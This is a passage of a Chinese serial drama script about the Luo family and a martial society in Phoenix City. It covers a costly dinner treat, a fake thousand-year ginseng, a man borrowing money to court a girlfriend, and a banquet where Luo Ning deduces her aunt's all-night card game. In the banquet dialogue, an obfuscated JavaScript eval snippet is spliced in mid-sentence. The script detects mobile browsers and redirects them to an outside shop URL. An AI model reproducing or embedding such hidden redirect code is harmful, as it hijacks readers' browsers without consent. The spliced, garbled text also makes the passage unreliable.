洛宁:没问题!你想到哪里吃呀? 张正清:让我想想……嗯,就到富贵大酒楼吧,好久没吃那里的鲍鱼了! 洛宁:(吓了一跳)富贵大酒楼?那可是凤凰城里最豪华的酒楼,你知道在那里随随便便吃一顿饭要多少钱吗? 张正清:我知道呀,反正又不是我出钱! 洛宁:可我没带那么多钱呀,要不咱们换个地方吧! 张正清:没关系,钱我先帮你垫上,下个月从你的薪水里扣掉吧! 洛宁:张大哥!你明知道年底督察府会发红利,你现在让我请你到那么豪华的大酒楼吃那么贵的鲍鱼,分明就是故意的! 张正清:小鬼!平常可都是我在请你吃饭,偶尔让你回请我一顿,怎么就这么难呀? 洛宁:你平常请我吃的可都是路边摊,在那里吃上十顿,也比不上在富贵大酒楼里吃上一顿的花销。 张正清:亏你还是洛府的二小姐呢,怎么这么抠呢? 洛宁:(理直气壮地)我这是天生的,跟我是谁没关系! 张正清:(被逗乐了)哈哈哈,你的脸皮可比你的钱袋子要厚实多了! 洛宁:张大哥!好不容易才发点儿红利,你总不能让我白忙活一年吧!你替我省省,咱们换一家酒楼好不好?我听说西大街上新开了一家店,里面的涮锅特别香,要不咱们去那里吃? 张正清:不行!好不容易才让你请一次客,除了富贵大酒楼,我哪儿都不去! 洛宁:要不这样,咱们各出各钱,你的鲍鱼你出钱,我喝口水就行了! 张正清:我吃鲍鱼你喝水?那我怎么过意得去?要是被你哥看见了,还以为我在虐待你呢! 洛宁:张大哥,求求你了!你就行行好,放过我吧! 张正清:不就是一顿饭吗?有你这样讨价还价的吗?一点儿诚意都没有!(冲着车夫喊)车夫!前面左拐,去富贵大酒楼! 洛宁:不要啊! 梁州,凤凰城 2-44 洛府,洛二娘的屋子(日,内) 人物:洛二娘、杨婶 杨婶从外面进入屋子里。 洛二娘:咦,你怎么这么快就回来了?东西卖出去没? 杨婶:这…… 洛二娘:怎么了?你倒是说话呀! 杨婶:那药房的掌柜,只肯出十两银子。 洛二娘:十两银子?他是不识货呢、还是把我当成了路边的叫花子?这可是千年人参,少说也得千两! 杨婶:夫人,您被骗了! 洛二娘:什么意思? 杨婶:那药房的掌柜说,这支人参顶多只有二十年,不值那个价! 洛二娘:怎么可能!这东西可是青丫头给我的,她骗谁也不能骗我呀! 杨婶:起初我也不太相信,便找了几个行家又看了看,结果他们也都是这样说的。 洛二娘:(勃然大怒)岂有此理!我找她去!(这就要往外走,却被杨婶拦住) 杨婶:夫人呐,不可! 洛二娘:怎么了?她一个晚辈,做错了事情,难道还不许我这个长辈来教训她吗? 杨婶:这事要是闹大了,您拿药材换银子的事,不就露馅了吗? 洛二娘:怕什么!好歹她也叫我一声二娘,只要我不说,她就算心里明白,我谅她也不敢说出来!哼! 2-45 洛府,洛二娘的屋子(日,内) 人物:洛二娘、洛青、杨婶 洛二娘原打算直接去找洛青,想了想之后,又让杨婶把洛青叫了过来。 洛二娘:青丫头,这支千年人参,你还是拿回去吧! 洛青:怎么了,二娘?这人参不好吗? 洛二娘:这可是千年人参,谁敢说它不好?只不过我大哥那个人福薄命浅,吃不起这么贵重的东西! 洛青:二娘,瞧您说的!什么吃得起吃不起?只要能治好您大哥的病,别说是千年人参了,哪怕是万年人参,只要您开口,我也一定给您弄来! 洛二娘:青丫头,二娘知道你对我好,不过有件事,二娘不得不提醒你。 洛青:什么呀? 洛二娘:青丫头,你这个洛府□□的管家,可一定要把眼睛给擦亮了,千万别让那些没皮没脸的小子们给糊弄了! 洛青:二娘,您在说什么呀?谁糊弄谁? 洛二娘:青丫头,二娘的岁数大了,眼睛不好使,人家要是糊弄我,我只能忍气吞声。但你就不一样了,你正年轻,又这么机灵,若是轻轻松松地就被人拿捏了,不仅你的脸上无光,就连你哥、你娘、你爷爷的脸上,也一样挂不住! 洛二娘的话,洛青听得一头雾水,过后,她只能去找杨婶问个明白。 洛青:杨婶,这到底是怎么回事?无缘无故的,二娘为何发这么大的火呀? 杨婶:唉,大小姐,您有所不知,这支千年人参,其实是个假的! 2-46 天地会总会,延生堂,寒冰的屋子(日,内) 人物:寒冰、洛青 洛青拿着人参,气冲冲地来找寒冰。 洛青:寒冰,这支人参明明只有二十年,你为何说它有千年? 寒冰:(不慌不忙地)青姑娘,你不是大夫,不明白这其中的道理。所谓的千年人参,不过是个噱头。真正足龄的千年人参,就算是有,从古至今,也不曾被人发现过。 洛青:既然没有,你为何要说有?幸好这东西还没有送出去,若是送出去了,人家岂不是要笑话咱们没本事、拿不出像样的好东西? 寒冰:青姑娘,撇开人参不谈,你不觉得二娘的行为有些古怪吗? 洛青:什么意思? 寒冰:她的兄弟姐妹远在封州,到底是病了还是没病、得了什么病、是轻是重,我们只是道听途说,从不曾亲眼见过。 洛青:那又怎样?二娘是洛家的媳妇,她总不能连自家人都骗吧?这对她有什么好处? 寒冰:除此外,二娘的那些兄弟姐妹,无论男女老少,一旦得了病,用得全是名贵和稀有的药材。哪个大夫会开出这样的方子? 洛青:寒冰,我来找你,不是想听你说这个,我只想问问你,为何要用假的人参来冒充千年人参? 寒冰:人参并不是假的,只是年份不够而已,若用来治病,足够了。 洛青:唉,罢了!既然你不认为自己有错,我也就没什么可说的了!以后二娘再需要什么东西,我还是去街上的药房里买吧!哼! 2-47 洛府,木兰小院,木兰花树下(夜,外) 人物:洛宁、银华、寒冰 得知洛青来找寒冰兴师问罪,银华有些愤愤不平。 银华:喂,当初我不是跟你说了吗,弄一根萝卜给她就行了,你居然还弄了一支真的人参给她,你小子是不是笨呀? 寒冰:那样的话,青姑娘就更下不来台了。 银华:她下不来台,就找你撒气,你被他骂了,该找谁撒气? 寒冰:(一脸的平静)是我骗了她们,我为何要生气? 银华:你呀你,这都能受得了,真是活该被她骂! 洛宁:要我说,这也是件好事。以后二娘若再有什么事,我姐不会来找寒冰的麻烦了,甭管是千年人参还是万年人参,都让她自己想办法去! 15. 第二篇 总会的四个堂 梁州,凤凰城 2-48 天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:金鹏、余守泰 夜深了,金鹏正打算上床睡觉,余守泰凑到他旁边,小声地问。 余守泰:鹏子,你有钱吗? 金鹏:怎么了?哥,你要钱干嘛? 余守泰:这不入冬了吗?我寻思着给人家巧珠姑娘买一件皮大衣。 金鹏:我们刚来总会的时候,洛堂主不是给了你二百两银子吗?这么快就花光了呀? 余守泰:那些我全投到园子里去了,要等明年才会有收成。 金鹏:我的月钱不是在你那儿吗?你拿去用呗! 余守泰:不瞒你说,其实……早就花得差不多了! 金鹏:(吃惊)啊?你讨个媳妇也不至于要花这么多钱吧? 余守泰:真要是把她娶进门了,倒也不花钱了。问题是现在才刚开始呢!经过一段时间的交往,我俩对彼此都非常满意,现在正腻歪着呢,几乎每天都要见上一面。不管是吃饭、逛街、看戏……这不都得花钱吗?更何况这里是凤凰城,花销比别处翻了几倍呢! 金鹏:(颇有些无奈)那你还需要多少钱呀? 余守泰没有说话,只伸出两根手指头。 金鹏:二两吗?等着,我拿给你。 余守泰:二两哪儿够呀!那店里最便宜的皮坎肩,少说也要五两银子呢! 金鹏:这么贵呀!那你要多少?二十两啊? 余守泰:(点点头)嗯。 金鹏:一件衣裳而已,有必要买这么贵的吗? 余守泰:我也不想买这么贵的,可是人家巧珠姑娘只看上了那一件,别的都不要。这二十两银子的价钱,还是我跟老板说了半天的好话,才给打的折呢! 金鹏:那你就直接告诉她你买不起不就行了吗?何苦打肿脸充胖子呢! 余守泰:唉,当初人家巧珠姑娘之所以答应跟我交往,不也是看上了我在总会里做事吗?如果我连一件像样的皮大衣都买不起,这丢得可不仅仅是我一个人的脸呐! 金鹏:少来了,别什么都扯上总会!你自己在外面说的大话,你自己想办法解决! 余守泰:(哭丧着脸)鹏子,你还年轻,不明白你哥心里的苦啊!像我这个岁数的男人,能找到一个黄花大闺女给我当老婆,那简直就像老叫花子在垃圾堆里捡到了宝一样,太难得了! 金鹏:哼!只怕你捡到的不是宝,而是垃圾! 余守泰:鹏子!你怎么能这样说呢?人家巧珠姑娘对我可是一片真心! 金鹏:(没好气地)我倒觉得她对你的钱才是一片真心! 余守泰:甭管她是真心还是假意,只要能把她娶进门,这钱就没白花! 金鹏:那要娶不到呢? 余守泰:不会,这次肯定能成! 金鹏:呵呵,这话听得我耳朵都快起茧了!俗话说得好,吃一堑长一智,你都被女人骗过多少回了,怎么从来都不长一点儿记性呢? 余守泰:(央求)鹏子!哥向你保证,这次真的是最后一回了! 金鹏:(一口回绝)我没钱! 余守泰:鹏子!帮帮哥吧!咱们哥俩相依为命这么多年,除了你,还有谁会帮我?你总不能忍心看着你哥一辈子孤苦伶仃,膝下无儿无女,到老了连个说话的人都没有吧? 金鹏:等你老了我照顾你,这样总行了吧! 余守泰:可你将来不也要成亲吗?到那个时候,你们一家人和和美美,剩下我一个老光棍,多碍眼哪! 金鹏:怎么会呢?你是我哥,没人会嫌弃你! 余守泰:(眼眶一红,泪珠儿掉了下来)就算你们不嫌弃我,可我自己的心里能痛快吗?你们一家人亲亲热热,我一个人冷冷清清,你让我怎么活呀? 金鹏:(顿时心软了)唉,好吧好吧,你别哭了,我给你二十两银子便是!不过先说清楚,这可是我仅有的积蓄了,下不为例! 余守泰:(破涕为笑)嘿嘿,我就知道,还是鹏子最疼我! 2-49 天地会总会,前院(日,外) 人物:金鹏、银华 入冬了,弟子们都穿上了厚厚的冬衣,唯有金鹏衣衫单薄,不住地打喷嚏。 金鹏:阿嚏!……阿嚏!…… 银华:怎么了,金鹏?你是不是着凉了? 金鹏:额,没事儿!我的鼻子有点痒,总想打喷嚏。 银华:你是不是穿得太少了?现在可是冬天,你这一件单衣不管用的! 金鹏:没事儿!我的身子棒着呢!阿嚏! 银华:你可拉倒吧!总会不是发的有置办冬衣的钱吗?你该不会为了省钱,连一件冬衣都舍不得买吧? 金鹏:不是,我有冬衣。 银华:那你怎么不穿呢? 金鹏:我不觉得冷。阿嚏! 银华:真的吗?前两天我在街上,见你哥搂着一个女人,进富贵大酒楼里吃饭去了。那女人身上穿着一件价值不菲的皮大衣,应该是你哥买给她的吧? 金鹏:可能吧,他在外面的事我也不太清楚。 银华:你是不是又给他钱了? 金鹏:也没给多少,一点点而已。阿嚏! 银华:你哥死要面子,你怎么也这样啊?别以为我不知道,你哥跟那个女人交往不是一天两天了,这中间花了不少银子吧?你给了他多少? 金鹏:唉,那天他说要给人家买冬衣,我本来不想给,怎奈他一把鼻涕一把泪,说得我没法拒绝,只好给了他。 银华:不是我说你,你这样一而再再而三地迁就他,小心被他拖累! 金鹏:我也不想这样,可是没办法,谁让他是我哥呢!虽然我俩并不是亲兄弟,可这么多年来,都是他在关心我、照顾我,现在他急需用钱,我总不能只顾着我自己吧?幸好现在总会管吃管住,我也没什么别的需求,每个月花不了几个钱,能帮就帮吧!唉,等什么时候他把媳妇娶进门了,什么时候也就不再折腾了!唉,其实每回跟你们出去,都让你们替我垫钱,我这心里挺过意不去的…… 银华:那些都是小事儿!不过我可真佩服你哥,别人娶媳妇是用心去疼,你哥娶媳妇是拿钱去砸;别人娶媳妇是为了成家过日子,你哥娶媳妇是为了往脸上贴金。唉!你见过那女人没? 金鹏:(摇摇头)没见过。 银华:浓妆艳抹,一脸的风尘相。你也该劝劝你哥,不要只看女人的脸蛋和身材,应该找一个实实在在、愿意跟他过日子的女人才对。 金鹏:唉,为此我都不知道跟他说过多少次了,没用!阿嚏! 银华:你哥已经被那女人迷得神魂颠倒了,又怎么听得进去呢?唉,他可真行啊!舍得花大价钱给那女人买皮大衣穿,却忍心让自己的弟弟在寒风中挨冻,怎么会有这样的哥哥呀! 金鹏:(一脸的沮丧)唉,别提了!阿嚏! 银华:这才刚入冬呢,要等明年春上,天才会慢慢转暖。仅凭你这一件单衣,挨不到那个时候,这样吧,我去年做了两件冬衣,还没来得及穿上身,你若不嫌弃,先拿去用吧! 金鹏:不用了,我能扛得住! 银华:扛什么呀?你每天还要练功,身子冻坏了怎么办?跟我还客气什么!走!去拿衣裳! 老五爷来信了,说要回凤凰城过年。得知此事,洛府上上下下都十分欢喜,尤其是洛二娘,最为开心。 老五爷名叫洛元昌,是洛元恒的弟弟,因为在家中排行老五,晚辈们都叫他老五爷。他年少时参了军,便一直带着家人生活在北疆,虽然离凤凰城很远,但他与洛元恒之间的感情,依旧十分深厚。 2-50 天地会总会,听雨轩(夜,内) 人物:洛宁、银华、金鹏 银华在屋子里来回踱步,一副急不可耐的样子。 银华:眼看着要过年了,风巅巅怎么还没回来?他的那匹骏马,跑得也太慢了吧? 洛宁:等他回来了,你是不是又想跟他较量一番? 银华:他跑得快,我跑得更快!不是我跟他较量,而是我在他面前显摆自己。哈哈! 洛宁:又在吹牛!天底下有本事的人,又不是只有你一个! 银华:在这些人当中,我能排第一! 洛宁:你排第一的话,顾云飞算老几? 银华:他排第一,我排第二,这样总行了吧?哈哈! 金鹏:这个风巅巅,是谁呀? 洛宁:他是无行大哥的胞弟。 银华:什么胞弟!风老大亲口说了,巅巅是他的亲弟弟! 洛宁:可他俩没一处相像的地方。 银华:一母生九子,九子各不同嘛!风巅巅这个家伙,看上去愣头愣脑,一旦发起疯来,别说是他哥,连老天爷都拿他没辙! 洛宁:所以他才叫风巅巅嘛! 金鹏:风巅巅这个名字,听上去有点儿怪呀! 银华:这不是他的真名,是大家给他取的诨号。只不过叫得多了,一提起他,大家都只记得这个诨号,不记得他的真名了。 金鹏:为何取了一个这样的诨号? 银华:风巅巅这个家伙,也不知是真疯还是假疯。他听说在弃神山北部的森林里,有一匹骏马,奔跑起来,像风一样快,便孤身一人,闯进了那片森林里,不吃不喝、不眠不休,就凭着一身酒胆儿,与那匹骏马周旋了整整三天三夜,结果硬是把那匹骏马给累瘫了,乖乖地套上缰绳,当了他的坐骑。自那之后,他便有了这个诨号。 洛宁:(对着金鹏)等他回来了,你也去瞧瞧那匹骏马。 金鹏:是不是很神奇? 银华:倒也没什么特别之处,只不过毛色比别的马更亮、个头儿更壮实些罢了。 金鹏:听你们这么一说,我倒真想见识一下了。 银华:呵呵,等着吧,他很快就要回来了。 又过了一阵子,老五爷终于回来了,与他同行的,还有洛思思、洛宇和风巅巅:洛思思是老五爷的长女,辈分虽高,却只比洛宁大两岁,性情像男人一样大大咧咧。洛宇是洛二娘的独子,也是洛元恒的次孙,因为儿时体弱多病,洛元恒担心他会像他爹那样缠绵病榻,便将他交给了老五爷,带去北疆磨炼,如今的他,虽然皮肤黝黑,却是一年比一年壮实,性情也十分开朗。而风巅巅就像银华说的那样,是个愣头愣脑的小伙子。 2-51 天地会总会,前院(日,外) 人物:风巅巅、银华、金鹏 一见到风巅巅,银华便十分亲热,搂着他问这问那,而金鹏则对他的那匹骏马十分好奇,围着它看了又看。 金鹏:啧啧,果然是匹好马! 银华:想不想骑上去遛一圈? 风巅巅:银华,你可别害他了!上回我们军营里的一个弟兄,让我用黑布蒙上它的眼睛,想看看它是否真的只认我这一个主人,结果还没等他靠近,这家伙已飞起一脚,将他踢出了老远,到现在走路还拄着一根拐呢! 银华:那天你擒它的时候,有没有被它踢过? 风巅巅:有啊!只不过当时我喝了不少酒,哪怕被踢了,也不觉得疼。哈哈! 2-52 洛府,洛二娘的屋子(日,内) 人物:洛二娘、洛宇 洛二娘紧紧地抱住洛宇不撒手。 洛二娘:唉呀,我的好儿子,你可算是回来了,想死娘了! 洛宇:娘,您要是想我的话,不如明年春上,也跟着我一起去北疆吧! 洛二娘:我去了,谁来照顾你爹呀?唉,当初若不是你爷爷,娘才舍不得让你去那种地方呢! 洛宇:娘,这样不是挺好吗?您瞧瞧我,多结实呀! 洛二娘:好是好,就是太委屈你了。一想到北疆的风沙那么大,娘的心里就百般不是滋味儿。别人家的小少爷,都在享福,只有咱们家小少爷,天天在受苦。唉! 洛宇:吃得苦中苦,方为人上人嘛!娘,我爹怎么样?好些没? 洛二娘:唉,还不就是那个样儿,不好也不坏。儿呀,娘这辈子,你爹是指望不上了,就指望你了。你可一定要争点儿气,别让人家看轻了你! 洛宇:娘,您放心,儿子一定不会让您失望! 2-53 天地会总会,常乐厅(日,内) 人物:洛元恒、洛元昌、洛大娘、洛二娘、洛宏、洛青、洛宇、洛宁、洛思思、小敏、仆人若干 洛元恒设宴为洛元昌接风洗尘,到场的都是自家人。 洛大娘:五叔,您这次回来可要多住上一阵子,公公他可是天天都在念叨着您呢! 洛元昌:嗯,我打算待到明年春上,等哥哥的寿辰过后再回去。 洛元恒:那敢情好!咱们兄弟俩可以好好地聚一聚了! 洛元昌:可不是嘛!在北疆,像我这把岁数的人,实在是太少了,将士们一个个年轻力壮,想找个人陪我唠唠嗑,都不知道该说些什么。 洛元恒:咱们那个时候的苦,他们都没吃过,说了也不明白。 洛元昌:(点点头)是啊!除了这个,我还想把甜妞儿也留在府上,孩子大了,总待在北疆跟一群大老爷们在一起,身上都没有女人味儿了! 洛青:呵呵,老五爷,您终于想通了呀?甜妞儿已经到了谈婚论嫁的年纪,您早就该把她送回来了! 洛宁:(嘀咕)甜妞儿只比我大两岁而已…… 洛青:(瞪了洛宁一眼)宁儿,闭嘴! 洛宁吐吐舌头,又听洛元昌接着说。 洛元昌:甜妞儿是我的第一个孩子,我老来得女,自然舍不得让她离开我。她在军营里长大,性子也变得跟我那帮手下一样,就爱舞枪弄棒,说起话来嗓门儿比我还要洪亮。唉!她这副样子,我还真担心没人敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007362|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娶她。 洛大娘:五叔,您放心!只要让她跟青儿和宁儿这两个丫头相处一段日子,性子自然会变得温和起来。 洛元昌:(指着洛宁)和青儿在一起我不担心,但是和你这个小丫头在一起,我还真有些不太放心。 洛宁:怎么?老五爷,难不成您还怕我把您的宝贝女儿给拐跑了? 洛元昌:(爽朗地笑了)哈哈,我倒不担心你把她给拐跑了,我只担心你把她给带偏了。你这个小丫头,嘴里一个劲儿地嚷嚷着什么男女平等、嫁娶自由,我就不明白了,这女人如果跟男人平起平坐的话,这个世界岂不是要乱套了? 洛宁:为何不能平起平坐?凭什么你们男人就要比女人高出一等? 洛青:(呵斥)宁儿!哪有你这样跟老五爷说话的? 洛元昌:嘿嘿,小丫头!这个世界本来就是男强女弱、男尊女卑,就像打仗一样,胜者为王嘛! 洛宁:老五爷,照您这么说,谁厉害谁就能当老大,不如您现在就让甜妞儿跟二哥哥比试一下,看看到底是男强女弱、还是女强男弱。 听了这话,众人都笑了起来,洛宇的脸红了,洛二娘则不悦地瞪了洛宁一眼。 洛元昌:小丫头,你可真够狡猾的。没错!若论嘴上的工夫,你确实挺厉害,但这不算真本事…… 洛宁:老五爷,那在您看来,怎样才算真本事?要不要我跟着您一起上战场呀? 洛元昌:嘿嘿,那倒不必!不过小丫头,我听说你现在能耐挺大呀! 洛宁:老五爷,您指的是哪个方面? 洛元昌:我听说连督察府都请你去帮忙呢! 洛宁:这个您都知道?老五爷,您可真是眼观六路、耳听八方呀! 洛元昌:哈哈哈,真是个伶牙俐齿的小丫头!今儿老五爷就考考你,看看你到底有多大的能耐! 洛宁:有奖赏吗? 洛元昌:过年的红包我给你翻倍,怎么样? 洛宁:说话算数? 洛元昌:当然了!我一个老头子,骗你这个小孩儿干嘛? 洛宁:行!那您说吧,想怎么考我? 洛元昌:小丫头,听好了!我问你,坐在你对面的二娘,她昨晚人在哪里?干了些什么? 洛二娘:(皱起眉头)五叔,屋里这么多人,您怎么偏偏选我呀? 洛元昌:别人能有什么事呀?就你的事最多! 洛二娘不满地哼了一声,不再作声。 洛元昌:小丫头,说吧!她昨晚人在哪里?干了些什么? 洛宁:(瞅了洛二娘一眼,故作为难地)老五爷,我不敢说! 洛元昌:哦,为何? 洛宁:我怕惹二娘生气。 洛元昌:你怕惹她生气,就不怕惹我生气?快说吧,有老五爷给你撑腰,她不敢! 洛宁:那我可就说了? 洛元昌:嗯,说吧,我听着呢! 洛宁将洛二娘上下打量了一番,微微一笑,心里有了数。 洛宁:二娘她昨晚在周夫人家里,打了一宿的牌。 洛宇:天呐!宁妹妹,你怎么一下就猜出来了?我娘昨晚确实在周夫人家里,打了一整夜的牌,到天亮的时候才回来。啧啧,你可真厉害!你是怎么知道的? 洛元昌:不错嘛,小丫头!说说你是怎么看出来的? 洛宁:大家都知道爷爷今日在这里设宴、为老五爷接风洗尘,所以谁都不敢怠慢,一大清早便穿戴整齐赶来了这里,二娘也不例外。只不过她昨晚没在家,而是去了周夫人那里。 洛元昌:你怎么知道她去了周夫人那里? 洛宁:二娘喜欢打牌,几乎天天都有牌局。她固定的牌友有四位,这其中,有两位住在城外,眼下快过年了,凤凰城的门禁比平常更加森严,想在日出之前进城,那是不可能的事。剩下的两位,一个住在城东,从那里回来,须经过东大街,不巧的是,东大街这几日正好有个集市,只许人走,不许车轿通行。一一排除之后,就只有住在城北的周夫人家,离这里不远,又畅通无阻,能保证二娘在天亮之前赶回洛府。 洛元昌:嗯,有点儿道理。 洛二娘:宁丫头,周夫人可是我的闺蜜,我俩未出嫁时已十分要好,又一同嫁来了这里。我去她家,未必非要打牌,也可以聊聊天、说说话嘛! 洛宁:二娘,您虽然端坐在椅子上,却每隔一会儿就要挪动一下身子,若不是因为腰酸背痛的话,又怎么会如此频繁地更换坐姿?您虽然涂着厚厚的脂粉,却依然掩饰不住一脸的倦态…… 洛二娘:好吧!就算我昨晚没睡觉,但也不意味着我在打牌呀! 洛宁:如果仅仅是聊天的话,就用不上丰庆行的烟草了。 洛宇:烟草?(皱起眉头)娘!您怎么又抽上了?我不是告诉过您这东西不好、让您不要抽了吗? 洛二娘:我……唉,儿子!娘已经戒了,只不过偶尔犯困的时候,抽上一小口而已。不碍事儿! 洛宁:二娘抽的烟草,是丰庆行为烟瘾极大的老客们特别定制的一种,其提神的效果极佳,仅仅抽上一小口,已远超寻常的烟草抽上一袋了。所以,每逢打牌时,二娘必定会拿它来助兴。 洛二娘:哼,丫头!你昨晚又没跟我在一起,怎么知道我抽的是哪种烟草呢? 洛宁:这种烟草之所以提神的效果极佳,是因为里面含有子时花的缘故,而子时花的气味十分特别,哪怕您身上擦着浓浓的香水,也依稀可辨。 洛二娘:你…… 洛元昌:嗯,有理有据。(对着洛二娘)这下你无话可说了吧? 洛二娘:哼,不过就是打了一宿的牌而已,多大点事儿呢! 洛元昌:小丫头,我再问你,你二娘昨晚打牌是赢了还是输了? 洛宁:输了。 洛宇:天呐!宁妹妹,你简直太神了!我娘刚才还一个劲儿地跟我抱怨,说她昨晚输了不少呢! 洛元昌:小丫头,你从哪里看出来的? 洛宁:刚才二娘的丫鬟小敏给我倒茶的时候,我见她的胳膊上有新的掐痕,她的眼眶红肿,像是刚刚哭过。不用说,肯定是二娘昨晚输了钱,又拿她出气了。 小敏一听,吓得慌忙跪下。 小敏:夫人!您别生气,我什么都没说、什么都没说呀! 洛元昌:(对着小敏)丫头,把你的胳膊伸出来。 小敏怯怯地挽起袖子,露出两只胳膊上猩红的掐痕。洛元恒见了,脸倏地一沉。 洛元恒:(呵斥洛二娘)我不是说过不许为难她们吗?这些孩子哪里做得不好,你骂她们两句就行了,谁让你动手的?你若嫌她们伺候得不周,我可以让洛青把她们全都调走,以后所有的事情你自己来做! 洛二娘:(脸上红一阵白一阵,起身连声地赔不是)公公,您教训的极是!游萍知道错了,以后再也不敢了! 16. 第二篇 总会的四个堂 梁州,凤凰城 又过了几天,督察府也放假了。一听说洛宁在家,欧阳兰兰便搬过来与她同住。 2-54 洛府,木兰小院,洛宁的屋子(日/夜,内) 人物:洛宁、欧阳兰兰 早上,欧阳兰兰还没起床,洛宁已经在桌前抄大忏悔文了。 欧阳兰兰:宁姐姐,这都已经放假了,你怎么还在抄大忏悔文呀? 洛宁:我这是在为来年做准备,反正闲着也是闲着,就当是练字了。咦,欧阳兰兰,听说你的字写得挺漂亮,不如你也来抄两份? 欧阳兰兰:宁姐姐,你想哄我帮你抄大忏悔文,我才不上当呢! 午后,两个女孩坐在一起喝茶。 欧阳兰兰:宁姐姐,告诉你一个好消息。 洛宁:好消息? 欧阳兰兰:对别人来说,可能是个糟糕透顶的坏消息,但对你来说,肯定是个绝佳的好消息。 洛宁:说来听听。 欧阳兰兰:温公子又病了,而且这回,病得还挺重,他们家已经在着手准备后事了。 洛宁:天呐,果然是个绝佳的好消息!年后,我终于用不着跟他学琴了!哈哈哈! 欧阳兰兰:(白了她一眼)宁姐姐,奉劝你清醒点儿!在这个世上,就算没有了温公子,还有何公子、魏公子、周公子……你觉得你姐会放过你吗? 洛宁:唉,也是啊。 临睡前,洛宁问欧阳兰兰。 洛宁:欧阳兰兰,我见咱们督察府东侧的那条街上正在刷房子,那栋房子已经空了大半年,怎么又租出去了? 欧阳兰兰:可不是嘛,我也觉得很意外呢!要知道,那栋房子在咱们凤凰城里可是出了名的不吉利,但凡租过它的人,个个都赔得底朝天。唉,在咱们欧阳世家的铺子里,就属它最令人头疼了! 洛宁:不知道这回又能撑多久? 欧阳兰兰:听说是要开一家医馆,大夫是个外地人,对这里的情况不了解,看上了价钱便宜,所以才会租下它。 洛宁:听你这么一说,我估计他的医术肯定不怎么样。 欧阳兰兰:呵呵,反正我是不会去找他瞧病的! 2-55 洛府,木兰小院,洛宁的屋子(日,内) 人物:洛宁、欧阳兰兰、仆人若干 见天气不错,欧阳兰兰让丫鬟们打开窗子,想晒晒太阳,却意外地看见畅音阁上有两条灰色的影子。 欧阳兰兰:天呐!宁姐姐,畅音阁的屋顶上何时长出了两只犄角? 洛宁:什么犄角?那是银华和风巅巅! 欧阳兰兰:他俩?在那上面干嘛? 洛宁:还能干嘛?当然是比武了!他俩谁也不服谁,回回一见面,定要恶战一场。从屋里打到屋外、又从屋外打到屋里,从楼下打到楼上、又从楼上打到楼下。唉,没完没了! 欧阳兰兰:嘻嘻,这叫以武会友!宁姐姐,不如咱们也去瞧瞧? 洛宁:行呀!不过有件事,我得先提醒你。 欧阳兰兰:什么呀? 洛宁:当心高空坠物! 欧阳兰兰:额,那还是算了吧。 一股冷风吹进来,欧阳兰兰忙背过身去,又让丫鬟们把窗子关上。 洛宁:欧阳兰兰,你不是说想学骑马吗?正好风巅巅回来了,让他教教你呗! 欧阳兰兰:他?得了吧!我宁可坐在马车上哭,也不愿坐在马背上笑! 洛宁:为何? 欧阳兰兰:因为马背上的风,会把我的脸吹皱了。不信的话,你瞧瞧甜妞儿,她就是最好的例子! 洛宁:这样的话,明天我们出去玩,你就别去了。 欧阳兰兰:哦,你们要去哪里? 洛宁:去郊外遛马! 2-56 天地会总会,前门(日,外) 人物:洛宁、银华、金鹏、洛宇、洛思思、风巅巅 年轻人们相约出去遛马。 洛宁:咱们有六个人,为何只有五匹马? 银华:老大说,你很久没骑马了,让我带着你。 洛宁:(眉毛一挑)你带着我? 银华:额,说错了,是你带着我,行不? 洛宁:哼,这还差不多! 洛宇:(笑着问银华)银华,昨儿你跟巅巅比武,谁赢了? 银华:小子,你没发现巅巅今儿换了个发型吗?(对着风巅巅)巅巅,快把你的头发撩起来,让他们看看你的新伤疤! 风巅巅乖乖地撩起头发,露出额头上的一道口子,众人见了,无不发笑。 洛宁:银华,这都快过年了,你怎么不给巅巅留点儿面子呀? 银华:巅巅,听见没?面子这东西,要靠自己挣哟!哈哈! 2-57 洛府,木兰小院,洛宁的屋子(日,内) 人物:欧阳兰兰、春桃 洛宁出去了,欧阳兰兰一个人在家闲得没事做,便把丫鬟春桃叫了过来。 欧阳兰兰:春桃,宁姐姐刚回凤凰城的时候,穿的那身衣裳还在不在? 春桃:在呀,都在隔壁的屋子里放着呢! 欧阳兰兰:拿过来给我瞧瞧! 春桃:姑娘想要哪件? 欧阳兰兰:我记得她刚来的时候,穿了一条绿色小碎花的裙子,可漂亮了!就拿这个吧! 春桃:好的,您稍等! 春桃拿来裙子,欧阳兰兰穿上身试试,果然十分漂亮。 欧阳兰兰:嘻嘻,我以为只有宁姐姐穿着才漂亮,没想到我穿着也挺漂亮。 春桃:欧阳小姐人长得美,穿什么都好看! 欧阳兰兰:旁人都说我太瘦了,可我觉得这样才好呢!像这样的裙子,宁姐姐应该穿不上了吧? 春桃:小姐自打回了凤凰城之后,一天一个样儿,长得飞快,这些裙子她早就穿不上了。 欧阳兰兰:照你这么说,等她到了我娘那个岁数,岂不是要胖得连路都走不动了?呵呵,果然还是瘦点儿好!还有吗?再给我多拿几件过来! 春桃:好的,您稍等! 春桃出去后,欧阳兰兰在镜子前照了又照,越看越觉得自己美得像朵花。 欧阳兰兰:唉,如果我的这张脸能永远这么年轻、这么漂亮,那该多好呀!(想起家里的长辈,她们的脸上都有一道道的褶子,又忍不住叹息)唉,可惜岁月不等人,总有一天,我也会像她们那样,变得又老又丑…… “咣当!”有东西掉在了地上。 欧阳兰兰:什么东西? 欧阳兰兰吓了一跳,低头一看,竟是块玉佩,闪着蓝幽幽的光。她蹲下身去,将玉佩捡起来,仔细看了看,发现玉佩上的纹路竟然像空中的云朵一样,在动。 欧阳兰兰:咦,真奇怪!这上面的纹路怎么在动呀?难道是我的眼花了? 她揉了揉眼睛,又盯着玉佩看了半天,这才发现自己没有看错,玉佩上的纹路确实在动。 欧阳兰兰:这是玉佩吗?难不成是什么活物? 